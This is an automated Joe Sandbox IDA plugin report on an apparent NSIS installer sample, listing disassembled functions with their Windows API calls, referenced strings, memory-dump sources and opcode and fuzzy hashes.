Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp$C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll$Call
API String ID: 1941528284-2101532624
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 6FFB1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FFB1B5F: GlobalFree.KERNEL32(?), ref: 6FFB1DB2
Part of subcall function 6FFB1B5F: GlobalFree.KERNEL32(?), ref: 6FFB1DB7
Part of subcall function 6FFB1B5F: GlobalFree.KERNEL32(?), ref: 6FFB1DBC

GlobalFree.KERNEL32(00000000), ref: 6FFB1825
FreeLibrary.KERNEL32(?), ref: 6FFB18AB
GlobalFree.KERNEL32(00000000), ref: 6FFB18D0

Part of subcall function 6FFB2352: GlobalAlloc.KERNEL32(00000040,?), ref: 6FFB2383

Part of subcall function 6FFB2724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FFB17F6,00000000), ref: 6FFB27F4

Part of subcall function 6FFB15C6: wsprintfW.USER32 ref: 6FFB15F4

Strings

, xrefs: 6FFB18B1

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 568e80466a82f27c95ef0459fee63ec641566fb81f760d65b313f30dfe7d1966
Instruction ID: ba668f640f0052782f7c84f3bd891f76d86f8dca539cc4202955577fe54bd4a9
Opcode Fuzzy Hash: 568e80466a82f27c95ef0459fee63ec641566fb81f760d65b313f30dfe7d1966
Instruction Fuzzy Hash: B641CE72404305AADF119F76DCC4BC637A8BF06364F14417EE9199E2DADBB9E088C7A4

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Strings

(x, xrefs: 004020B0

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: (x
API String ID: 334405425-3887252280
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp
API String ID: 2655323295-2555944993
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF), ref: 00405F46

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16
nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2113348990
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00401B77 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalFree.KERNEL32(007828E0), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE
(x, xrefs: 00401B7A, 00401BAA, 00401BB9, 00401BE2, 00401C0D, 00401C14

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call$(x
API String ID: 3394109436-2883625298
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

